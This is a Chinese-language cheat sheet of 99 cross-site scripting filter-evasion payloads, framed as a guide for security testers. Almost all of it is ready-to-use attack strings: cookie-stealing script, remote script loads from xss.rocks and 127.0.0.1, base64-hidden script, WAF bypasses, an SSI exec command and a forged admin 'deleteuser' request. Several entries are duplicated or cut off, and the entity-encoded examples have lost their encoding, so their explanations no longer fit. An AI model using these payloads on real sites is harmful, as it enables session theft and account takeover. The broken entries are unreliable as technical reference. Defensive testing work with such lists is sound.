儘管許多網站實施了輸入過濾措施來防止跨站腳本(XSS)攻擊,但在特定條件下,經過精心編碼的腳本仍有可能實施XSS注入。本文旨在為專業的安全測試人員提供一個跨站腳本漏洞的檢測指南。
網絡安全入門,XSS攻擊
以下是一些具體的XSS繞過過濾的方法:
1. XSS定位器
在大多數存在漏洞的地方,插入以下代碼將彈出含有“XSS”字樣的對話框。建議使用URL編碼器對整個代碼進行編碼。
小貼士:如果想快速檢查頁面,可以插入“<任意文本>”,然後觀察頁面輸出是否有明顯變化,以判斷是否存在漏洞。
以下為具體代碼實現:
‘;alert(String.fromCharCode(88,83,83))//’;alert(String.fromCharCode(88,83,83))//”;
alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//–
></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
2. 簡短的XSS定位器
若頁面空間有限且無JavaScript漏洞,以下簡短的字符串可用於快速檢測XSS注入。注入後查看頁面源代碼,檢查是否出現<XSS 或 <XSS 字樣。
”;!–”<XSS>=&{()}
3. 無過濾繞過
這是一個標準的XSS注入代碼,通常會被防禦,但建議先測試一下。
<SCRIPT SRC=http://127.0.0.1/xss.js></SCRIPT>
4. 利用多語言進行過濾繞過
利用多種語言特性,可以繞過過濾機制。以下為示例代碼:
‘”>><marquee><img src=x onerror=confirm(1)></marquee>”></plaintext\></|\><plaintext/onmouseover=prompt(1)>
<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>’–>”></script>
<script>alert(document.cookie)</script>”>
<img/id=”confirm(1)”/alt=”/”src=”/”onerror=eval(id)>’”>
<img src=”https://www.fujieace.com/wp-content/images/2015/07/hacked-compressor.jpg“>
5. 通過JavaScript命令實現的圖片XSS
圖片注入使用JavaScript命令實現,適用於大多數瀏覽器環境。示例代碼如下:
<IMG SRC=”javascript:alert(‘XSS’);”>
6. 無分號無引號
不使用分號和引號的XSS攻擊示例:
<IMG SRC=javascript:alert(‘XSS’)>
7. 不區分大小寫的XSS攻擊向量
XSS攻擊向量,不區分JavaScript函數的大小寫:
<IMG SRC=JaVaScRiPt:alert(‘XSS’)>
8. HTML實體
使用HTML實體進行XSS攻擊,需要分號以生效:
<IMG SRC=javascript:alert("XSS")>
9. 重音符混淆
當需要在JavaScript代碼中同時使用單引號和雙引號時,可使用重音符(`)包含代碼:
<IMG SRC=`javascript:alert(“RSnake says, ‘XSS’”)`>
10. 畸形的A標籤
通過跳過HREF標籤找到XSS漏洞的方法:
```
<a onmouseover=”alert(document.cookie)”>xxs link</a>
```
11. 畸形的IMG標籤
通過不嚴格的HTML解析來構建含有IMG標籤的XSS攻擊向量:
```
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>
```
12. fromCharCode函數
如果不允許使用引號,可以使用JavaScript的fromCharCode函數創建XSS攻擊向量:
```
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
```
13. 使用默認SRC屬性繞過SRC域名過濾器
這種方法可以繞過大多數SRC域名過濾器,適用於任何HTML標籤:
```
<IMG SRC=# onmouseover=”alert(‘xxs’)”>
```
14. 使用默認為空的SRC屬性
<IMG SRC= onmouseover=”alert(‘xxs’)”>
15. 使用不含SRC屬性
<IMG onmouseover=”alert(‘xxs’)”>
16. 通過error事件觸發alert
<IMG SRC=/ onerror=”alert(String.fromCharCode(88,83,83))”></img>
17. 對IMG標籤中onerror屬性進行編碼
<img src=x onerror=”javascript:alert('XSS')″>
18. 十進制HTML字符實體編碼
這種編碼方式在某些瀏覽器中不支持直接使用javascript:形式的XSS示例:
```
<IMG SRC=javascript:alert('XSS')>
```
19. 不帶分號的十進制HTML字符實體編碼
這種編碼方式適用於繞過特定形式的XSS過濾:
```
<IMG SRC=javascript:alert('XSS')>
```
20. 不帶分號的十六進制HTML字符實體編碼
<IMG SRC=javascript:alert&#x
20. 不帶分號的十六進制HTML字符實體編碼
此方法繞過某些假設字符實體編碼需要用分號結尾的過濾器:
<IMG SRC=javascript:alert('XSS')>
21. 內嵌TAB
使用TAB字符分隔XSS攻擊代碼,適用於某些解析環境:
<IMG SRC=”jav ascript:alert(‘XSS’);”>
22. 內嵌編碼後的TAB
使用編碼後的TAB字符分隔XSS攻擊代碼:
<IMG SRC=”jav	ascript:alert(‘XSS’);”>
23. 內嵌換行分隔XSS攻擊代碼
利用換行字符分隔代碼,僅特定字符有效:
<IMG SRC=”jav
ascript:alert(‘XSS’);”>
24. 內嵌回車分隔XSS攻擊代碼
使用回車字符分隔,注意字符長度:
<IMG SRC=”jav
ascript:alert(‘XSS’);”>
25. 使用空字符分隔JavaScript指令
空字符也可以用作XSS攻擊,需要特殊工具或編碼:
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out
26. 利用IMG標籤中JavaScript指令前的空格和元字符
如果過濾器不計算“javascript:”前的空格,這種方法將有效:
<IMG SRC=”  javascript:alert(‘XSS’);”>
27. 利用非字母非數字字符
某些瀏覽器的HTML解析器認為非字母非數字字符作為空白或無效符號,而XSS過濾器可能未考慮此情況:
<SCRIPT/XSS SRC=”http://xss.rocks/xss.js“></SCRIPT>
28. 額外的尖括號
通過在XSS攻擊向量中添加額外的尖括號來繞過某些檢測引擎:
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
29. 未閉合的script標籤
在某些瀏覽器中,未閉合的標籤會被自動閉合,這為XSS提供了機會:
<SCRIPT SRC=http://127.0.0.1/xss.js?< B >
30. script標籤中的協議解析
特定的協議解析方式可以繞過過濾器,特別適用於空間有限的情況:
<SCRIPT SRC=//xss.rocks/.j>
31. 只含左尖括號的HTML/JavaScript XSS向量
在某些瀏覽器中,不需要閉合標籤的右尖括號就可以執行XSS攻擊:
<IMG SRC=”javascript:alert(‘XSS’)”
32. 多個左尖括號
使用多個左尖括號作為標籤結尾在不同瀏覽器中有不同的效果:
<iframe src=http://127.0.0.1/scriptlet.html <
33. JavaScript雙重轉義
當應用將用户輸入輸出到頁面上時,雙重轉義可能會觸發XSS攻擊:
\”;alert(‘XSS’);//
</script><script>alert(‘XSS‘)
33. JavaScript雙重轉義
當應用錯誤地轉義用户輸入時,可以通過雙重轉義進行XSS攻擊:
</script><script>alert(‘XSS’);</script>
34. 閉合title標籤
通過閉合title標籤進行XSS攻擊:
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
35. INPUT image
利用輸入類型為image的INPUT標籤執行XSS:
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
36. BODY image
在BODY標籤的BACKGROUND屬性中插入XSS代碼:
<BODY BACKGROUND="javascript:alert('XSS')">
37. IMG Dynsrc
通過IMG標籤的DYNSRC屬性實施XSS攻擊:
<IMG DYNSRC="javascript:alert('XSS')">
38. IMG lowsrc
利用IMG標籤的LOWSRC屬性進行XSS注入:
<IMG LOWSRC="javascript:alert('XSS')">
39. List-style-image
通過樣式屬性中的list-style-image進行XSS攻擊,僅在特定瀏覽器環境下有效:
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
40. 圖片中引用VBscript
利用VBScript在IMG標籤中執行XSS:
<IMG SRC='vbscript:msgbox("XSS")'>
41. Livescript (僅限舊版本Netscape)
在老版本的Netscape瀏覽器中,通過Livescript執行XSS:
<IMG SRC="livescript:[code]">
42. SVG對象標籤
使用SVG標籤觸發XSS攻擊:
<svg/onload=alert('XSS')>
43. ECMAScript 6
利用ECMAScript 6特性構造XSS攻擊:
Set.constructor`alert\x28document.domain\x29```
44. BODY標籤
通過BODY標籤的事件處理器實現XSS攻擊,無需"javascript:"前綴:
<BODY ONLOAD=alert('XSS')>
45. 事件處理程序
XSS攻擊可以利用多種HTML事件,以下是部分事件列表:
- onAbort()
- onActivate()
- onAfterPrint()
- ... 更多事件 ...
46. BGSOUND標籤
利用BGSOUND標籤在某些瀏覽器中實現XSS:
<BGSOUND SRC="javascript:alert('XSS');">
47. & JavaScript包含
使用&字符和JavaScript結合構造XSS攻擊:
<BR SIZE="&{alert('XSS')}">
48. 樣式表
利用LINK標籤的HREF屬性指向JavaScript進行XSS注入:
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
49. 遠程樣式表
利用遠程樣式表插入XSS代碼,特定環境下有效:
<LINK REL="stylesheet" HREF="http://127.0.0.1/xss.css">
50. 遠程樣式表2
使用STYLE標籤和@import規則加載包含XSS代碼的遠程樣式表:
<STYLE>@import'http://127.0.0.1/xss.css';</STYLE>
51. 遠程樣式表3
在特定瀏覽器中,使用META標籤設置Link頭部實施XSS:
<META HTTP-EQUIV="Link" Content="<http://127.0.0.1/xss.css>; REL=stylesheet">
52. 遠程樣式表4
在Gecko渲染引擎下利用STYLE標籤和-moz-binding屬性進行XSS攻擊:
<STYLE>BODY{-moz-binding:url("https://127.0.0.1/xssmoz.xml#xss")}</STYLE>
53. 含有分隔JavaScript的STYLE標籤
利用特殊的字符序列在STYLE標籤內部分隔JavaScript代碼,適用於IE環境:
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
54. STYLE屬性中使用註釋分隔表達式
利用註釋分隔的方式在IMG標籤的STYLE屬性中插入XSS代碼:
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
55. 含表達式的IMG STYLE
將XSS代碼嵌入到IMG標籤的STYLE屬性中,適用於IE環境:
exp/*<A STYLE='no\xss:noxss("*//*");
xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
56. STYLE標籤(僅舊版本Netscape可用)
在舊版本Netscape瀏覽器中,使用STYLE標籤執行JavaScript代碼:
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
57. 使用背景圖像的STYLE標籤
利用STYLE標籤設置背景圖像為JavaScript代碼:
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
58. 使用背景的STYLE標籤
通過BODY標籤的STYLE屬性設置背景圖像執行JavaScript代碼:
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
59. 含STYLE屬性的HTML任意標籤
在任意HTML標籤的STYLE屬性中嵌入JavaScript代碼,適用於IE環境:
<XSS STYLE="behavior: url(xss.htc);">
60. 本地htc文件
通過本地htc文件執行XSS代碼,需要與XSS攻擊向量在相同服務器上:
<XSS STYLE="behavior: url(xss.htc);">
61. US-ASCII編碼
使用US-ASCII編碼執行XSS攻擊,適用於使用該編碼的服務器環境:
¼script¾alert(¢XSS¢)¼/script¾
62. META標籤
使用META標籤進行頁面刷新並執行JavaScript代碼:
<META HTTP
62. META標籤
使用META標籤的刷新功能執行JavaScript代碼:
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
63. 使用數據的META
通過META標籤和data URL scheme實現XSS攻擊,不包含可見的SCRIPT單詞或JavaScript指令:
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
64. 含有額外URL參數的META
通過在META標籤中包含額外的URL參數繞過URL檢查:
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
65. IFRAME
在允許IFRAME的情況下,通過IFRAME標籤實現XSS:
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
66. 基於事件的IFRAME
利用事件觸發器在IFRAME標籤中執行XSS代碼:
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
67. FRAME
與IFRAME類似,FRAME標籤也可用於XSS攻擊:
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
68. TABLE
通過TABLE標籤的BACKGROUND屬性插入XSS代碼:
<TABLE BACKGROUND="javascript:alert('XSS')">
69. TD
利用TD標籤的BACKGROUND屬性進行XSS攻擊:
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
70. DIV背景圖像
在DIV標籤的STYLE屬性中設置背景圖像為JavaScript代碼:
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
71. 含有Unicode XSS利用代碼的DIV背景圖像
使用Unicode字符對URL參數進行混淆,以實現XSS攻擊:
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
72. 含有額外字符的DIV背景圖像
在DIV標籤中利用額外字符實現XSS攻擊:
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
73. DIV表達式
利用DIV標籤的STYLE屬性中的表達式實現XSS攻擊:
<DIV STYLE="width: expression(alert('XSS'));">
74. HTML條件註釋塊
利用HTML條件註釋在特定瀏覽器中執行XSS代碼:
<!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]-->
75. BASE標籤
使用BASE標籤改變頁面的基本URL,以實施XSS攻擊:
<BASE HREF="javascript:alert('XSS');//">
76. OBJECT標籤
利用OBJECT標籤加載含有XSS代碼的外部資源:
<OBJECT TYPE="text/x-scriptlet" DATA="http://127.0.0.1/scriptlet.html"></OBJECT>
77. 使用EMBED標籤加載含有XSS的FLASH文件
通過EMBED標籤加載含有XSS代碼的FLASH文件,適用於特定瀏覽器環境:
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
78. 使用EMBED SVG包含攻擊向量
在特定瀏覽器下,使用EMBED標籤加載SVG代碼實現XSS攻擊:
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
79. 在FLASH中使用ActionScript混淆XSS攻擊向量
利用FLASH文件中的ActionScript代碼進行混淆,以繞過過濾器:
a="get";
b="URL(\"";
c="javascript:";
d="alert('XSS');\")";
eval(a+b+c+d);
80. CDATA混淆的XML數據島
在特定環境下,利用XML數據島和CDATA混淆實現XSS攻擊:
<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
81. 使用XML數據島生成含內嵌JavaScript的本地XML文件
通過本地XML文件包含JavaScript代碼實施XSS攻擊:
<XML SRC="xsstest.xml" ID=I></XML>
<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
82. XML中使用HTML+TIME
利用HTML+TIME擴展在XML中嵌入JavaScript代碼:
<HTML><BODY>
<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
<?import namespace="t" implementation="#default#time2">
<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">
</BODY></HTML>
83. 使用一些字符繞過".js"過濾
通過改名將JavaScript文件偽裝成圖像文件,以繞過過濾器:
<SCRIPT SRC="http://127.0.0.1/xss.jpg"></SCRIPT>
84. SSI(服務器端腳本包含)
如果服務器端允許SSI,可以利用它執行XSS攻擊:
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://127.0.0.1/xss.js></SCRIPT>'"-->
85. PHP
在服務器端安裝了PHP的情況下,可以利用PHP腳本實施XSS攻擊:
<? echo('<SCR)';
echo('IPT>alert("XSS")</SCRIPT>'); ?>
86. 嵌入命令的IMAGE
利用IMAGE標籤在密碼保護頁面上執行命令,適用於管理員權限環境:
<IMG SRC="https://www.fujieace.com/somecommand.php?somevariables=maliciouscode">
87. 嵌入命令的IMAGE II
通過重定向圖片到特定命令,可以在普通的圖片請求中隱藏XSS攻擊:
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
88. Cookie篡改
利用META標籤覆寫cookie,適用於某些特定場景:
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
89. UTF-7編碼
在頁面未指定編碼或瀏覽器設置為UTF-7編碼時,可以利用UTF-7執行XSS攻擊:
<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
90. 利用HTML引號包含的XSS
在某些瀏覽器中,可以通過特定的引號使用方式繞過XSS過濾器:
<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>
91. URL字符繞過
使用不同的編碼和格式化方式繞過URL過濾:
<A HREF="http://66.102.7.147/">XSS</A>
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
<A HREF="//www.google.com/">XSS</A>
92. 字符轉義表
通過不同的字符組合實現“<”的所有可能表示,用於繞過過濾器:
<
%3C
<
<
... 等等 ...
93. 繞過WAF的方法
利用特定技巧繞過Web應用程序防火牆(WAF),包括存儲型XSS、基於DOM的XSS、請求重定向等多種方法:
<Img src = x onerror = "javascript: window.onerror = alert; throw XSS">
... 更多示例 ...
94. 存儲型XSS
如果XSS代碼已經繞過了輸入過濾並存儲在服務器上,WAF可能無法在輸出時阻止它。
95. 基於JavaScript的反射型XSS
示例:在腳本中使用setTimeout函數,根據GET參數動態設置延時。
<script> ... setTimeout("writetitle()", $_GET[xss]) ... </script>
96. 基於DOM的XSS
示例:在腳本中直接執行GET參數的內容。
<script> ... eval($_GET[xss]); ... </script>
97. 通過請求重定向構造XSS
示例:在服務器端腳本中,基於用户輸入構造重定向。
header('Location: '.$_GET['param']);
98. 利用不過濾特定字符串的WAF
有些WAF可能不會過濾某些特定的字符串或腳本結構,可以利用這一點構造XSS攻擊。
<Img src=x onerror="javascript: window.onerror = alert; throw XSS">
<Video> <source onerror="javascript: alert(XSS)">
... 更多示例 ...
99. Alert混淆以繞過過濾器
通過變換alert函數的調用方式,繞過對alert關鍵字的過濾。
(alert)(1)
a=alert,a(1)
[1].find(alert)
... 更多示例 ...
以上提到的XSS攻擊技巧和方法,都是為了幫助安全專家更好地理解和預防XSS漏洞。強調這些技術僅用於教育和安全測試目的,任何非法使用都是不道德的,可能會導致嚴重的法律後果。安全研究員和滲透測試人員應在合法和道德的框架內操作,確保網絡空間的安全和穩定。
學習資料